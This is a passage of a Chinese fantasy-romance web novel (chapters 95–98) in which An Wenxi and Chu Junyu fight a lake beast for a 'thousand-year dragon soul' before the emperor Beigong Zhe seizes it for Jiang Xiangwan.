“好好,今天都怪我,但是你也不能这样作践自己,你这样小师妹就能回来么?”袭匀抓着欢凉的手正色道。 月无双不好意思的看了眼欢凉,小声道:“欢凉,你要怪就怪我吧,夕姐姐是为了救我才……” 欢凉狠狠挥掉袭匀的手,咬着唇,“你们都走开,若是公主有什么三长两短,我绝不会放过你们!”然后握紧了地上的长剑,蓦地向已经偃旗息鼓的梅藤砍去。 “我……”月无双咬了咬唇。 突然,他们眼前的景象一变,周遭的梅藤全部消失不见,而映入眼帘的簇簇红梅开得正艳,而他们此时正处在梅林深处,一条铺满梅香的小径蜿蜒引向了梅林出口。 欢凉一惊,难道阵眼已经破了! 原来是这样!她的心中顿时明了。 这所谓的破阵,就是要将人活活吸进阵眼,方可破阵。 入阵,就意味着有人要死亡,只有有人死了,其他的人才有活的可能。 怪不得这里的八卦阵如此诡谲,往往进入这八卦阵的人为了活命,不惜自相残杀,将同伴送进阵眼。 阵法本不可怕,这世上最可怕、最多变的是人心! 月无双一咬牙道:“我去找爹爹来救夕姐姐和玉公子。” 强烈的旋风缠绕的安文夕睁不开眼睛,只有手心处传来阵阵温暖,感觉有人揽住了自己的腰肢,安文夕蓦地睁开了眼睛,却发现周围一片漆黑。 “别怕。”耳边突然传来一声轻唤,安文夕下意识抓紧了那只手。 不知过了多久,耳边呼啸着的旋风渐渐小了下来,安文夕还没来得及睁开眼睛,身体就已经直接坠入了一处冰冷的水中。 冷冽的冰水寒气透骨,侵入骨髓,安文夕冻得浑身打颤,厚厚的棉衣沾了水,更加湿重不堪。 安文夕奋力往上游去,可是这里的水十分奇怪,每当她拼命的往上游时,却越来越不受控制的往下沉去,如此反复几次,她力气消耗了大半。 就在她几乎要窒息的时候,一方冰凉的唇瓣贴上了她的,柔丨软的轻触带来的酥丨麻令她的大脑一片空白,这是楚君昱的唇? 细腻而温柔,甚至还带了点淡淡的清香。 在她还没有反应之际,楚君昱向她渡了一口气息,揽着她的腰慢慢往上游去。 “哗——”终于探出了水面,安文夕长长的呼吸了一口带着寒意的空气,寒意顺着呼吸袭至肺腑,仿佛要将她整个冻成冰块一般。 “胭脂,来。”楚君昱握着她的手,拉着她上岸。 胭脂?安文夕蓦地摸向自己的脸,果然自己原来戴的那张人丨皮面具早就不见了,而她身上的湿衣将那玲珑的身材毫无保留的显露了出来。 “我……” “过来。”楚君昱眼底飞快的划过一抹狡黠,两人一起上了岸。 安文夕这才注意到了这里的环境,周围满眼尽是殷红的梅花,一簇簇、一团团,堆满了整个山涧,那花瓣赤红一片,仿佛鲜血浸染一般,每一枝桠上的梅花都开得妖娆夺目,而地上却不曾看到半片落花。不远处是一眼望不到边际的湖面,水面时而荡开了一圈圈的涟漪,这里的温度甚至低至零下二三十度,为何湖面却丝毫没有结冰?梅花、河面,甚至连一旁生着绿苔的石头都有一股说不出的奇怪,这里的一切都透着诡异! 安文夕冻得牙齿打颤,薄唇透着紫色,“你……你早就知道了?” 楚君昱微微颔首道:“只是一直不确定罢了,先别说话,你坐下。”说着他盘腿而坐,示意安文夕坐在他的身前。 安文夕顿时明白他要帮她烘干身上的衣服,她立即说道:“我自己可以。” “你的内力本就没有完全复原,还是我来吧。”然后不由分说,拉着她坐下,运起内力来。 衣服半干之际,不远处突然传开一声奇怪的声音来,安文夕抬眸看去,水面依旧微波荡漾,没有丝毫异样,安文夕有些不安的回过头来。 半晌,湖面掀起一阵水花,并伴随着一声低沉的吼叫声。 “玉公子,你有没有听到什么声音?”安文夕扭头问道。 楚君昱收了手,点点头道:“我们赶紧离开这里,只怕这水里面有凶兽!” 楚君昱话音未落,水面上掀起一张高的水浪来,将安文夕刚刚烘干的衣服全部打湿。 “走!”楚君昱拉着安文夕一跃而起,足尖轻点梅枝,稳稳的落在红梅枝头。 “看那里!”安文夕此时已经顾不上楚君昱放在她腰间的手,敛眸看向水面。 原本风平浪静的水面此时突然起了漩涡,然后升起了一丈长的水花,隐约之间可以看到隐在水浪间的庞然大物来。 似龙而非龙,似蛇而非蛇,无翅而能飞,浑身布满了鳞片,金光闪闪耀花了人的眼睛。而其中最为闪耀的莫过于额头上嵌着的龙片了,熠熠闪光。 “千年龙魄!” 安文夕心中大惊,那不就是北宫喆一直寻而不获的千年龙魄么,竟然长在了这只怪物的额头上! 第一片千年龙魄在就被父皇用在了她的身上,而第二片在西楚皇室,第三片被陌姑姑用了,难道九州还有第四片龙魄不成? “这就是那千年龙魄?”楚君昱双瞳骤缩,紧盯着那片发着幽光的千年龙魄。 安文夕扫了眼楚君昱,他看样子好像是第一次见千年龙魄,她不禁问道:“你进谷求引魂丹是为了你父皇的病吧,你们西楚不是有一片千年龙魄么,为何你还要求那引魂丹?” 楚君昱苦笑,“世人皆以为西楚有一片千年龙魄,其实西楚那一片是假的,不然父皇他早就用了那千年龙魄了。” 原来是这样,看来这就是那第二片千年龙魄了! “哗啦——”那只巨兽摆动了尾巴,牵起一阵水花,而它的口中突然吐出了一个残缺不全的人头骸骨来,此时正贪婪的盯着他们,垂涎不止。 看来,早于他们,已经有人进来过这里了,只不过,进入这里的人皆成了这巨兽的腹中餐! 这里和外界毫不牵连,仿佛是一个与世隔绝的空间,那他们怎样才能出去,还是只能困在这里等死么? “难道,只有杀了它,我们才能出去么?”安文夕摸向腰间的七节鞭。 既然楚君昱已经认出了她的身份,她就不必再遮掩。 楚君昱也握紧了手中的长剑,这千年龙魄,他要定了! “胭脂,跟在我身后!” 安文夕毫不示弱的抽出了七节鞭道:“我也可以!”她从来不是躲在男人身后的女子。 对面的女子眉色张扬,杏眸里一片坚韧,楚君昱心跳蓦地加快。 “好,我们一起。”楚君昱握住安文夕的手,御剑而去。 送上口的食物怎能拒绝,那巨兽翻滚着巨大的身子,头上的触角朝他们袭来,安文夕和楚君昱对视一眼和它缠斗起来。 不过片刻功夫,楚君昱手中的利剑已经斩断了巨兽头上的两根触角,寒气森森的湖水被染得血红一片。 “吼——”那巨兽痛得嘶吼起来,甩起了身后巨大的尾巴,张着血盆大口,发出震耳欲聋的嚎叫,阵阵恶臭令安文夕一阵反胃。 第95章 我愿意 第九十五章 我愿意 安文夕甩出七节鞭,砸向巨兽肥重的尾巴,那力道足以令百年大树齐腰折断,却难以在巨兽尾巴上留下半点痕迹。 楚君昱绕到巨兽身后,想从后背摘下巨兽额头上的千年龙魄,不料这巨兽却是警觉的厉害,楚君昱还未出手,它一个打滚便潜入了水中,激起了层层水花。 “你想要千年龙魄?” 楚君昱点点头,“我父皇病重,需要千年龙魄。” “好,我帮你。” 安文夕话音未落,水下突然激起巨大的波浪来,巨兽身上泛着水泽的鳞片分外刺目,猛地张开大嘴朝楚君昱扑去。 “小心——”安文夕再次出鞭,试图转移它的视线。 可这只巨兽一点也不上当,只专心的对付楚君昱,有力的尾巴卷起阵阵水花,模糊了他的视线,然后迅捷的甩着尾巴,似乎想将楚君昱拍碎一般。 楚君昱幽瞳一凛,手中的长剑夹裹着凌冽之势,瞬间在巨兽身上划出道道血印来,它立即张出如铁钳般的爪子去抓楚君昱手中的长剑。 安文夕看准了机会,对楚君昱使了个眼色道:“你缠着它,我去拿千年龙魄。” 这只巨兽太过狡猾,虽然被楚君昱紧缠着,却不给安文夕丝毫可以接近它身后的机会,一时间安文夕无法下手。 楚君昱虚晃一招,然后猛地将长剑插丨进巨兽的脖颈处。 “吼——”巨兽吃痛的发出令人震耳欲聋的嚎叫,如铁钳般的爪子将插在它脖颈处的长剑截断,掀起粗壮的尾巴砸向楚君昱。 “噗——” 巨兽将尾巴藏在了水底来到楚君昱身后,然后一跃而出,直袭他的后背,重重的将他拍到岸上。 “玉公子——” 楚君昱再次运起轻功,将巨兽脖颈处露在外面一截的长剑一脚全部踢进它的皮肉之中,一时间血浆迸发。 “就趁现在!” 安文夕不等楚君昱说话,就已经翻身来到巨兽身后,用七节鞭缠住它还残留着一截的触角,然后顺着七节鞭一跃而起,右手飞快的摘下巨兽额头上的千年龙魄,迅速的揣进怀中,松了七节鞭,在空中来了个漂亮的后空翻,和巨兽之间拉开了距离。 就在千年龙魄被摘下来的那一瞬,整个巨兽身上原本金光闪闪的鳞片全部失去了光泽,变得黯淡无光。它此时不再注意它身上的血迹斑斑,也不再去纠缠楚君昱,而是发出一阵阵哀嚎。 声音之大,足以震碎人的心肺。 它变得暴躁不堪,掀起了一波又一波水浪,铁钳般的利爪突然变长,朝安文夕抓去。 “胭脂,小心——” 楚君昱话音未落,安文夕蓦地闻道一股浓郁的血腥味,抬头看向楚君昱,他睫毛轻颤,嘴角紧抿,显然是在忍受着巨大的疼痛。 “走!”楚君昱咬牙道。 没有攻击到安文夕,那只巨兽变得更加烦躁不堪,不停地拍打着水面,巨大的嘴里喷出一阵震人肺腑的强大气流来,将楚君昱和安文夕狠狠的抛到岸上。 这一股强大的气流将岸边上开得正艳的梅花卷入一阵强劲的旋风之中,周遭仿佛下了一场异常绚烂的花雨一般,美得惊心动魄。 可是下一瞬,安文夕突然发现原本被卷入旋风之中的梅花瓣全部缠向她和楚君昱,一股脑的涌入楚君昱受伤的后背,沾血的梅花似乎比刚才更加妖艳了! 安文夕立即将缠绕着楚君昱身侧的梅花一掌拍飞,却惊奇的发现当梅花落到地上,立即枯萎消失不见,再也找不见半点痕迹。 安文夕突然明白为什么刚来到这里她在地上没有看到落花了,原来这里的梅花只要离了枝头,要么依靠吸食人血而活,要么沾土即死。 吸食楚君昱鲜血的梅花整个花瓣变得十分圆润,安文夕立即将覆在他后背伤口上的梅花瓣悉数扔到地上。 “你怎么样?”安文夕看了眼脸色苍白,额头上冒着冷汗的楚君昱道。 “我……没事。”楚君昱嘴角攒出了一抹虚弱的笑意。 “砰——”有一阵巨大的水花朝岸上砸来。 安文夕回头看到那只巨兽正慢慢的朝岸边游来,他们拿了千年龙魄,看样子这只巨兽不肯善罢甘休了。 楚君昱用力的从地上撑起,眸光深深,看着发怒的巨兽,取出贴身的长剑来。 安文夕拉住他道:“你受伤了,我来!” “你不是它的对手。”楚君昱凝眉道。 他提了口气,握紧了手中的剑,银光一现,剑气如虹,直冲巨兽血红的眼睛刺去。 安文夕也紧随其后,一手持鞭一手接连射出泛着幽光的银针来。 不消一盏茶功夫,两个人明显落了下风,安文夕咬了咬牙,贴近巨兽,将手中的银针一股脑的全部射入巨兽的双目之中,楚君昱立即趁着这个机会,手里的长剑划过巨兽的双目然后拐过它的脖子,割开了一道巨大的血口来。 “吼吼吼——”猛然失去视线的巨兽发疯般的吼叫起来。 巨兽的双目以及脖颈处汩汩流出殷红的血,伴随着鲜血,一股恶臭扑面而来。 它蓦地一下潜入水中,因为有了刚才的教训,安文夕不敢大意,眼睛一瞬不瞬的盯着水面。 过了半天,水面渐渐恢复了平静,偶尔漾出一圈泛着血色的涟漪。 这时,水下突然伸出了一条细长的尾巴,一下子将安文夕卷入了水中,速度快至令人来不及反应。 入了水,冰冷刺骨的湖水冻得安文夕失去了知觉,刚睁开眼睛便看到一张血盆大嘴要将她整个吃进腹中。 安文夕摸出匕首迅速割断缠着她的尾巴,然后双脚蹬到巨兽下颌上,借着力道,安文夕远远地弹开,被潜入水中的楚君昱一把捞出水面。 二人还没来得及掠至岸上,一截断尾便狠狠的砸来。 楚君昱立即一把将安文夕扔至岸上,他来不及躲避,被断尾砸向胸腔,猛地甩到岸上,喷出一大口鲜血来。 “玉公子,你怎么样?” “玉公子?楚君昱?你醒醒!” 无论任她怎么摇晃,楚君昱仍然紧闭着眼睛。 安文夕轻颤着手指放到楚君昱鼻下,若有若无的呼吸令安文夕紧紧锁了眉头。 不远处湖中的巨兽扔在不停的咆哮,似乎在寻找他们的存在。 安文夕抽出丝帕将楚君昱嘴角的血迹拭去,这个人还真是傻,三番五次的为她挡去巨兽的攻击,弄的遍体鳞伤,安文夕心中突然涌出一股心疼来。 这个人一直都在默默地保护着她,她欠他的,注定是还不清了…… 一只大手突然握住了安文夕拿着丝帕的手,令她蓦地一滞,楚君昱扯起苍白的唇角道:“胭脂……” “你先别说话。” 就在说话间,刚才的那只巨兽仿佛嗅到了他们的气息,慢慢从水底潜到岸上来,锋利的爪子猛烈的朝安文夕袭来。 安文夕看着将要落下的利爪,咬了咬牙,径直扑在楚君昱身上。 “胭脂!”楚君昱惊呼,她明明可以躲过去的,怎么那么傻! 安文夕闷哼一声,趁着这个空档飞快的将楚君昱带离。 不远处立着的人影还保持着出掌的姿势,然后慢慢的握紧了拳头,冷冷瞧着这一幕。 安文夕带着楚君昱躲进了梅花丛中,从怀中取出千年龙魄送到楚君昱手中道:“这是你要的千年龙魄。” 楚君昱看了眼并没有接,凝视着她道:“胭脂……你可否答应……答应我一件事。” 安文夕蹙了眉,“你重伤在身,先别说话。” “不,我不说……我怕……以后就没机会说了。” 安文夕抿了抿唇,大致猜出了他想说什么。 “胭脂,从我……从我第一次见你,我就喜欢你……我想……我想带你走……”楚君昱一句话还没说完,又喷出一口鲜血来。 安文夕忙帮他擦干净血迹,挽眉道:“别说了,回头再说好不好。” “胭脂……若是我们能出谷,你能不能……能不能嫁给我?”楚君昱仿佛鼓足了巨大的勇气才说出了这句话。 安文夕手下的动作蓦地一顿,抬眉看向他,张了张口,却吐不出一个字来。 楚君昱苦涩的笑了笑,“那……你就当……就当……我什么也没说。” 半晌,安文夕垂了眼睑,咬了咬唇道:“你知道的,我并非完璧之身。”不论怎样,现在的她已经配不上他了,他这般优秀,理应拥有更好的女人。安文夕蓦地意识到,她自卑了。 “胭脂,我……我不在乎这个,答应我好么?” 安文夕的心蓦地一动,紧接着而来的是排山倒海的疼痛,她咬了咬牙,缓缓握住他的手道,“我愿意。” 北宫喆睫毛轻颤,心中痛意肆意蔓延,她愿意,她怎么愿意,她已经是他北宫喆的女人了!他蓦地出手,将气势已去大半的巨兽一掌卸去摇摇欲坠的头颅。 “别说话,我们一定会出去的。”安文夕安慰道。 楚君昱微微闭上了眼睛,他的身体他自己清楚,刚才的重创让他的内脏都移了位,他能不能撑过今晚也难说。不过,能死在她的怀中他也满足了。 安文夕看着他静逸的面庞,心中一惊,喃喃道:“我们出去了,就用这千年龙魄救你!” “朕要看看你们如何出的去!”北宫喆冰冷的声音从安文夕身后想起,袖袍一挥,安文夕手上的千年龙魄赫然出现在了他的手中。 第96章 是你在逼我 第九十六章 是你在逼我 安文夕蓦然回头,看到许久未见的北宫喆立在一侧,衣袂猎猎,墨发肆意飞扬,紧抿的唇角无声的泄露了他的愤怒,安文夕蓦地一滞,她将视线放到他手上的千年龙魄上,轻声道:“那是我的,你将它还我!” 北宫喆眼底似讥讽似凄凉,眸光掠过手上的千年龙魄看向一旁的楚君昱,然后将视线停驻在安文夕身上,冷冷哼道:“想拿它去救你的姘头?” 姘头?安文夕讥讽的扯了扯嘴角。 “你抢过去莫不是也要去救你的姘头?” 北宫喆闻言脸色蓦地一变,仿佛连周遭的空气都冷了几分。 安文夕勾唇,他可以肆意的侮辱她,她这才说了一句,他就不能忍受了么? 安文夕不等他反应,赫然出手,直取他手中的千年龙魄。 北宫喆触摸到她冰凉刺骨的手,睫毛微颤,眸光深邃,将千年龙魄揣进怀中。 安文夕咬牙低唾一声:“卑鄙!” 那是楚君昱拼尽性命才拿到的,他有什么资格要! 北宫喆拧眉,是不是他不论做什么在她眼中都是卑鄙可耻的? “我带他出去,但是这片千年龙魄归我。” “归你?凭什么!”安文夕冷笑,身形一闪,再次掠至北宫喆面前,右手成勾,直探北宫喆的胸膛。 “你以为没有你,我们就出不去了么!” 北宫喆猛地抬起右手去挡住她的攻击,安文夕视线落到他的左手上,有些发暗的血渍因为天气太冷而没有凝固,她的双眸内飞快的掠过一抹浮光。 “你不是朕的对手。”北宫喆一把攫住安文夕的手道。 安文夕咬着下唇,左手突然攻向北宫喆的眼睛,趁着他防御的功夫,将那只被他禁锢的手脱离他的控制。 因为用力过猛,后背上的伤口被狠狠的撕开,痛的安文夕紧锁了眉,下一瞬她大胆的探向北宫喆的穴道。 “想点朕的穴道,你还差得远!”北宫喆将她推开,同时也发现了她背部的异样,眸光蓦地一凛。 安文夕不甘的咬着牙,想要再次出手,耳边传来北宫喆冷冷的声音道:“够了,安文夕,朕的耐心是有限的,不要逼朕对你动手。” 看着她眼底的狠绝,北宫喆心口被扯得生疼,她为了另一个男人跟他拼命,可有想过他的感受? “你动的手还少么?”安文夕冷呲,她身上的伤痕几乎全部拜他所赐! 她敛了眼眸,“现在不是我逼你,是你在逼我!” 安文夕身子有些微微发颤,本该痛楚不堪的心脏因为全身冻得失去知觉反而没有感觉到痛意。 北宫喆微微一震,眼前的女子眼底盛满了恨意,熟悉的脸庞此时却陌生的厉害。 看着安文夕略微有些紫的发黑的唇色,知道她是在强撑。 若是他没有猜错,她已经泡在冰水中、穿着这身湿衣已经整整两个时辰了。 北宫喆眸色一沉,抬手封了安文夕的穴道。 “你放开我!”安文夕咬牙,妈.的,这个变态总是喜欢封了她的穴道! 北宫喆自觉忽略她的喊叫,运起内力,将她身上的湿衣烘干。 随着衣服的慢慢变干,安文夕浑身升起一阵暖意,仿佛冷藏许久的心脏也慢慢开始回温,安文夕睫毛轻颤,原来他点她的穴道就是为了为她烘干衣服。 他依然像以前那般细心,总是能够发现一些被忽略的小细节。 安文夕原本眼底的恨意慢慢淡去,轻轻垂下了眼睑。 呵……她真的是傻,这个时候竟然想这些不相干的事情,安文夕眼底蓦然清明。 北宫喆将安文夕一把捞起,走进躺在地上的楚君昱,抬眸看向她道:“千年龙魄归我,救他;否则,让他给这只巨兽陪葬吧!” 安文夕这才发现那只巨兽已经被卸去了整颗头颅,而湖面因为巨兽的死亡而结了一层厚厚的冰,冰面上泛着丝丝缕缕血红。 “怎么样,考虑好了没有?” 安文夕咬了咬唇,如今楚君昱伤得这样重,只怕就算出去,没有千年龙魄也难以…… 北宫喆眼底飞快的划过一抹讥笑,无声的叹了口气,“不说话朕就当你是默认了!” 北宫喆提起地上的楚君昱,带着安文夕走进梅林,来到一处梅树下,北宫喆将楚君昱和安文夕放下,从腰间抽出短刀,毫不犹豫的在他还微微渗着血水的伤口上再次划了一刀,殷红的鲜血立即涌了出来,慢慢渗入土地之中。 安文夕蹙着眉,紧盯着北宫喆流血的左手,不过一会工夫,刚才那块土地被鲜血浸湿一片,这时奇异的现象突然出现了,沾满北宫喆鲜血的地方突然出现了刺眼的光芒。 就在她愣神之际,一只温暖的大手拉住了她的手。 “走!”在那光芒还未消失之际,北宫喆将他们二人带出了这个空间。 西山梅林入口之处,月无双一脸焦急的张望着梅林深处,不停地踱着步子,月清绝更是一脸凝重,而月无痕眸光深深,不知在想些什么。 早在北宫喆来之前,袭匀就已经将欢凉一掌劈晕,脚下抹油遛了,他直觉小师妹不会有事,他们在这里只会暴露她现在的身份! 而夜影仍然待在楚君昱消失的地方,眼睛一眨不眨的盯着地上,好像下一刻楚君昱就会再次出现一般。 不远处传来一阵脚步声,江向晚跌跌撞撞跑来,看着众人一脸凝重的神色,拍着胸脯呼吸了两口气道:“皇上呢?” 这一个月来,她的身体越来越不如以前了,经常会出现昏迷,好像随时都会死去一般,北宫喆不忍她如此,抛下国事,将她带到枫月谷来求医月谷主,谁知刚刚来到枫月谷他就抛下了她,她终于耐不住性子打听他的行踪,然后跟随青衣小僮来到了这里。 看见来人,月无双微不可见的哼了一声,没理她继续面满愁容的踱着步子。月清绝满心思都在想着万一北宫喆出不来,一会如何去救他们,根本就没有听见江向晚的话,至于月无痕,就更是不屑回答她了。 久久没有听到回答,江向晚脸色一僵,原本发白的脸上更加白了几分,张了张口,终究没有再问出口。 她握了握拳,就在犹豫是否回去的时候,前方不远处的梅林中闪现一片幽光,在她还没有明白之际,她身旁的月无声等人立即冲了过去。 她愣了愣,也跟了上去。 只见北宫喆怀中揽着安文夕,另一只手提着晕过去的楚君昱,而他放在安文夕腰间的手依然流着血。 “公子!”夜影立即抱住了浑身是血的楚君昱,眼底闪现血红,轻轻地将他放在地上,生怕碰到了他身上的伤口。 “嚯!”夜影蓦地出剑,抵在安文夕脖子处,恶狠狠道:“妖女纳命来!”自从殿下遇到这个妖女,一准没有什么好事发生。 北宫喆黑瞳骤缩,抬手折断横在安文夕脖子处的剑刃,看了她一眼冷声道:“这就是你拼命要救的人?” 夜影也不再反抗,背起楚君昱,哀求月无痕道:“求月谷主救救我家公子。” 月无痕沉声道:“在我枫月谷出了事,老夫自然会负责,绝儿,带玉公子去我的药房。” 月清绝立即走过去,帮着夜影一起搀住楚君昱。 月无痕打量了眼唇色发白的北宫喆,然后将视线悠悠落到他仍然流血的手上,冷哼一声。 恶龙潭,必须要用帝王血来引路才能打开那异世空间,想必这一来一回,他废了不少血,可是,这关他何事? 江向晚将目光紧紧锁在被北宫喆紧紧抱在怀中的安文夕身上,怪不得他急不可待的来了这里,原来这里有让他牵挂的人罢了,她甚至觉得他是知道了安文夕在这里,才借着为她瞧病的由头,来这里见她! 她紧紧的攥住了衣角,但由于她的身体虚弱,连这点力道她也使不出了,脚下像是生了根一般,再也迈不动分毫。 “夕姐姐受伤了在流血!”月无双一声惊呼成功的吸引了众人的视线。 北宫喆看了眼脸色越来越白的安文夕锁了眉头,然后抱起她走向主院,经过江向晚身边时,沉声道:“你怎么来了,不是让你在房中静养么?” “我……” “这里风大,赶紧回去。”虽是责问,却带了丝温柔。 安文夕扯起嘴角,这就舍不得了。 她的心蓦地一抽,那相思蛊又在折磨她了! 北宫喆不动声色的打量了眼安文夕,将她的神色尽收眼底,明明就是吃醋了,心里却将这归结于相思蛊在作祟,她何时才能认清自己的心? “夕姐姐,你没事吧?”月无双立即赶来,一脸关切的看着安文夕,看着她苍白的脸,心想她一定是受了重伤走不了路,不然怎么在喆哥哥怀里? 北宫喆将安文夕放下,立即吩咐人煮了一大锅姜汤为她驱寒,谁知安文夕两晚姜汤下肚,立即昏迷不醒了。 “这是怎么回事?”北宫喆简单的包扎了下手,沉声问道。 月无双探了探脉道:“夕姐姐这是由于寒气入体时间太长,加之服用了过多的姜汤所致,她睡一觉就会好了。” 而另一处,月无痕探着楚君昱的脉搏,微微拧了眉。 第97章 她不配 第九十七章 她不配 “月谷主,我家公子他……”夜影担忧道。 月无痕瞧了眼他,没有开口,向玉公子这种情况,最好是用千年龙魄护住心脉,不仅可以起死回生,还可以增加内力。 半晌,他道:“死是死不了,只是要费些功夫罢了。” “恳请月谷主救救我家公子。”夜影微微蹙了眉,还有一个月就要过年了,殿下他还能不能顺利赶到西楚? “我先开几副药吊住他的命,至于身体么,需要慢慢恢复。” “有劳月谷主。” “这里有些伤药,你先将他的皮外伤处理一下。”月无痕扔给了夜影几个小瓷瓶,然后转身迈向里间去配药。 “皇上,不好了,不好了。”雪嫣惊慌的跑到安文夕的院子, 北宫喆将安文夕的手塞进被褥里面,不悦的拧了眉,冷着一张脸看向来人,“发生了何事?” 雪嫣感觉周遭有一种强大的无形压力,竟让她不敢抬头,她嗫嚅道:“皇,皇上,我家小姐……她晕倒了。” 听她说完,北宫喆本就冰冷的脸上又寒了一分,“她又不是第一次晕倒了,该怎么做你不知道么,你应该去请月清绝而不是朕!” 雪嫣被北宫喆吓得脑袋一片空白,半晌才反应过来,以前只要小姐晕倒了,皇上不都是第一时间赶过去的么? “回,回皇上,月公子他已经……在了。” “罢了,朕去瞧瞧。” 北宫喆走到门口,对青衣小僮道:“让你们小姐来这里照看着。”然后又不放心的回头看了眼内室。 雪嫣神色一震,究竟是什么人能让皇上这么上心,他直觉那个人在皇上心中比她家小姐重要,可惜刚才她没有看到那个人的样貌。 小姐回来之后,精神就越发的不济,将自己一个人关在了屋子里,要不是她进去那东西,都不知道小姐晕倒了,能让小姐这么心神不安的人只有一个,难道那个人是她? 想到这里雪嫣心中大骇,如果是那个女人的话,那就大事不妙了! 北宫喆进了江向晚所在的厢房,月清绝正为她探着脉,看见北宫喆来了,月清绝凝眉道:“如今引魂丹对她作用不大,不如早点将引魂丹取出来,不然也只会白白浪费引魂丹的功效。”他一直都觉得谷里的引魂丹好像爹娘另有用处。 北宫喆看了眼躺在榻上的江向晚,然后从怀中取出千年龙魄,看向月清绝。 月清绝惊讶的合不拢嘴,他和左言潜进西楚皇宫将近一月,连千年龙魄的影子也没有看到,当即问道:“这……你哪来的?” 北宫喆勾唇,“这得问你家老爷子了?” 月清绝瞬间明白,“你是说你在恶龙潭拿到的?”他不禁暗叹,这老爷子藏得也太深了,连他都瞒着! 月清绝伸手欲拿北宫喆手上的千年龙魄,结果被北宫喆一晃而过。 “怎么?” 月清绝干笑两声,“我就想看看,看看……” 北宫喆一扬手,扔给月清绝道:“你看看什么时候将它植入晚儿体内?” 月清绝端详片刻,将千年龙魄往袖袍内一放,北宫喆眸光一凛,立即攫住了月清绝的手。 月清绝一阵吃痛,立即告饶,“我就想跟你开开玩笑,开玩笑,你看你还当真了。” 北宫喆眸光微缩,从月清绝手上拿过来千年龙魄,冷道:“这种玩笑可开不得!” 月清绝无所谓的耸耸肩道:“我没办法将千年龙魄植入她体内,这件事,你还得去求老爷子。” 北宫喆闻言眸光一暗,去求月无痕? 门口传来一阵响动,二人皆转眸看去,只见月无痕已经踏门而入,冷哼道:“这千年龙魄为我枫月谷所有,你还没有权利决定去救谁!” 北宫喆知道他是在为引魂丹一事生气,抿了抿唇道:“我用引魂丹换这千年龙魄。” 月无痕抬眼看着他道:“你小子倒是聪明,这两件都是枫月谷的东西,你当老夫是傻子么?” “朕以为,这引魂丹对您来说更重要一些,您觉得呢?”北宫喆眼底飞快的划过一抹狡黠。 月无痕横眉,这个臭小子竟敢威胁他! 他冷哼一声,“就算你有了这千年龙魄,没有老夫,你一样救不了她。” 北宫喆抿了抿唇角,看着月无痕板着的脸,始终说不出求字来。 月无痕看着北宫喆极度傲娇的嘴脸,扬了扬胡子,撇了撇嘴,瞬间气的想骂人,就没见过求人办事还有这么拽的! 半晌,北宫喆将手中的千年龙魄递给月无痕,算是无声的向他说明了他在求他。 月无痕火大的一拂袖袍。 安文夕感觉身上一阵冷一阵热,浑浑噩噩的睁开了眼睛,月无双立即凑了上去,一脸关切道:“夕姐姐,你没事吧。” “我还好。” 安文夕略略皱眉,一把掀了身上的被子,跌跌撞撞的下了床,脚步虚浮着朝药房走去。 “夕姐姐……”月无双立即走过来搀着她。 “你要去哪?我带你去。” “无双,去找玉公子。” “玉公子?”月无双瞥了眼她只着了袜子的双脚微微一滞,她醒来,连鞋子都忘记穿,就是急着去找玉公子? 月无双咬了咬唇道:“夕姐姐,你难道喜欢……玉公子?” 好像玉公子对夕姐姐也十分上心,这一次为了护她周全,甚至不惜豁出性命来,月无双慢慢阖了眼睑,玉公子和夕姐姐站在一起,真是郎才女貌,登对的紧! 安文夕猛然一惊,看向月无双,飞快的在她的眼底捕捉到了一抹失落,难道,无双喜欢楚君昱? 她怎么没有看出来,还是无双这丫头根本就没有意识到自己对楚君昱有了好感? 安文夕愣了一瞬,自己捡了鞋穿上,问月无双道:“你是希望给玉公子用千年龙魄,还是给江向晚用?” “自然是玉公子。”月无双斩钉截铁道,然后不耐的吐出一句话来,“江向晚,她配么?” 这千年龙魄既然是从她家后院找到的,就是她的东西,怎么可能白给江向晚! 安文夕勾起了苍白的唇,道:“我们这就去吧。”她怕去晚了,北宫喆就将千年龙魄植入了江向晚体内。 “夕姐姐,你这去的也不是药房的方向。” “去江向晚的厢房。”她突然改变了主意,先把千年龙魄拿过来再说。 安文夕刚走了几句,发觉更加的头重脚轻了,月无双蹙眉,“夕姐姐,要不无双去吧,你先好好休息。” 安文夕摇了摇头,苦涩的笑了笑,没想到上次跌进碧波湖倒有什么不适,如今反而染了风寒,她现在真是越来越弱不禁风了! 她哪里知道,那恶龙潭中的湖水并非一般湖水,更何况她还在里面泡了许久。 雪嫣远远地看到有人朝这边走来,待离得近了,猛然发现来人竟是安文夕,她的眉心突突的跳了两下,咬了咬唇,果然是她! 她赫然出手拦住安文夕二人道:“你们不能进去!” 月无双一听,立即火大起来,横眉道:“反了你了,一个小小的奴才在我枫月谷的地盘竟敢拦着本小姐!”月无双一把掀开了她。 雪嫣自觉拦不住她,眸光一敛,她的身后立即窜出两位黑衣禁卫来。 呵……这江向晚这里也是卧虎藏龙! 月无双鄙夷的瞧了眼雪嫣,冷冷道:“在我枫月谷对本小姐动手,可要考虑好后果,我记得你们好像是来求医的!” 雪嫣闻言,眸光一黯,有些不情愿的让出了身子。 “哼,算你识相。” 月无痕刚为江向晚把了脉,正打算取出江向晚体内的引魂丹,月无双立即扑了过来,惊呼道:“爹爹,等一下!” 北宫喆抬眉,看到脸色惨白的安文夕,睫毛一颤,收紧了手中的千年龙魄。 “怎么了?”月无痕看着月无双道。 “爹爹,那千年龙魄是我们枫月谷的,凭什么要给江向晚用?” “无双,那千年龙魄本就是大夏皇室代代相传的至宝。” “既然它现在在枫月谷,就是我枫月谷的东西。”月无双说道最后,声音渐渐小了下去。 “无双,不得胡闹!”月无痕斥道。 “反正我就是不同意给江向晚用!”引魂丹给她用,她忍了,如今连这千年龙魄也要给她用么? “无双!”北宫喆皱了眉头。 安文夕趁着他们说话的空隙,掠身一闪来至江向晚榻前,右手探到江向晚脖颈处,冷冷道:“要么给我千年龙魄,要么我现在就扯断她的脖子!” 北宫喆紧抿着嘴角,丝毫没有给她的意思,安文夕右手立即加了分力道。 “安文夕,楚君昱命大得很,他压根用不着千年龙魄,你明白么!” “这千年龙魄是他拼了命才拿到的,你凭什么据为己有?就算他用不着,也是他的!” “你别忘了,若不是朕将他带出来,他如今早死了!更何况,晚儿的心是你挖的,你不觉得你应该负责么?”北宫喆气的心疼,他竟然和她讲起了道理来。 安文夕一手拧着江向晚的脖子,一手探上自己的胸口,讥讽道:“给我千年龙魄,我还她一颗心便是!” 北宫喆眸光一凛,气得双拳握的咯咯作响,她怎么就这么倔! 第98章 贪恋 第九十八章 贪恋 